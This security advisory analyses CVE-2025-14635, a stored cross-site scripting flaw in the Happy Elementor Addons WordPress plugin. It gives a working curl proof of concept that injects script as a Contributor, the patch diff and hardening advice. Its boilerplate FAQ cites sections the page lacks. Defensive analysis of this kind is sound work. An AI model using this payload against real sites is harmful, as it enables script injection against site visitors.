SECURITY ADVISORY / 01

CVE-2025-14635 Exploit & Vulnerability Analysis

Complete CVE-2025-14635 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:happy-elementor-addons NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

Attacker needs authenticated Contributor-level access or above.

curl -i -X POST "https://TARGET_HOST/wp-admin/admin-ajax.php?action=elementor_ajax_save" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: wordpress_logged_in_abcd1234=..." \
  -d "post_id=123&data[settings][ha_page_custom_js]=alert('XSS');"

Then trigger it by visiting the infected page:

GET /?p=123 HTTP/1.1
Host: TARGET_HOST
Cookie: wordpress_logged_in_abcd1234=...
User-Agent: Mozilla/5.0

The save request returns a normal Elementor success response, and the page load later contains the injected <script>alert('XSS');</script> in the rendered page output. This proves that a non-admin editor can store arbitrary custom JavaScript in page settings and execute it whenever that page is viewed.

What the Patch Did

Before:

public function before_save_data( $data ) {
    if ( ! current_user_can( 'administrator' ) ) {
        $page_setting = get_post_meta( get_the_ID(), '_elementor_page_settings', true );
        if ( isset( $data['settings']['ha_page_custom_js'] ) && isset( $page_setting['ha_page_custom_js'] ) ) {
            $prev_js = isset( $page_setting['ha_page_custom_js'] ) ? trim( $page_setting['ha_page_custom_js'] ) : '';
            $data['settings']['ha_page_custom_js'] = $prev_js;
        }
    }
    return $data;
}

After:

public function before_save_data( $data ) {
    if ( ! current_user_can( 'administrator' ) && isset( $data['settings']['ha_page_custom_js'] ) ) {
        $page_setting = get_post_meta( get_the_ID(), '_elementor_page_settings', true );
        if ( isset( $page_setting['ha_page_custom_js'] ) ) {
            // Restore previous value if it exists.
            $data['settings']['ha_page_custom_js'] = trim( $page_setting['ha_page_custom_js'] );
        } else {
            // Remove any custom JS attempt from non-admin users
            unset( $data['settings']['ha_page_custom_js'] );
        }
    }
    return $data;
}

The patch added an explicit authorization enforcement step: for non-admins, any submitted ha_page_custom_js value is removed when no previous custom JS exists. It uses current_user_can('administrator') and unset() to prevent the unauthorized payload from reaching the save path.

Root Cause

This is a Stored Cross-Site Scripting bug caused by improper authorization logic in extensions/custom-js.php. The attacker-controlled value enters via the request field data[settings][ha_page_custom_js], is passed into the before_save_data() hook, and is returned unchanged into the page save data when page_setting['ha_page_custom_js'] does not already exist. That means a Contributor can inject JavaScript into _elementor_page_settings metadata, which is later rendered as custom JS on page load. The flaw crosses the trust boundary between authenticated editor input and page output without enforcing the intended administrator-only restriction on custom JavaScript.

Why It Works

The load-bearing fix is the new unset( $data['settings']['ha_page_custom_js'] ); line. Before the patch, the code only restored a previous JS value when one existed; if the page had no prior ha_page_custom_js, the condition failed and the malicious payload was left in place. The new unset() closes that gap by removing the attacker-controlled parameter entirely for non-admins. The surrounding changes (isset( $data['settings']['ha_page_custom_js'] ) and the recovery branch) are defensive: they avoid processing when no custom JS was supplied and preserve existing admin-entered JS instead of deleting it.

Hardening Checklist

  • Use current_user_can('administrator') or equivalent capability checks before accepting privileged fields like custom JS.
  • Remove unauthorized payloads with unset() instead of relying on conditional restoration logic.
  • Protect AJAX save endpoints with check_ajax_referer() so authenticated editors cannot abuse stale or forged requests.
  • Sanitize or escape custom script fields at the last possible point, for example sanitize_textarea_field() on save or esc_js() on output.
  • Store privileged configuration only in metadata accessible to the approved role and verify it again before writing with get_post_meta().

References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-14635

Frequently asked questions about CVE-2025-14635

What is CVE-2025-14635?

CVE-2025-14635 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-14635?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-14635. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-14635 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-14635?

CVE-2025-14635 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-14635?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2025-14635?

The severity rating and CVSS scoring for CVE-2025-14635 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.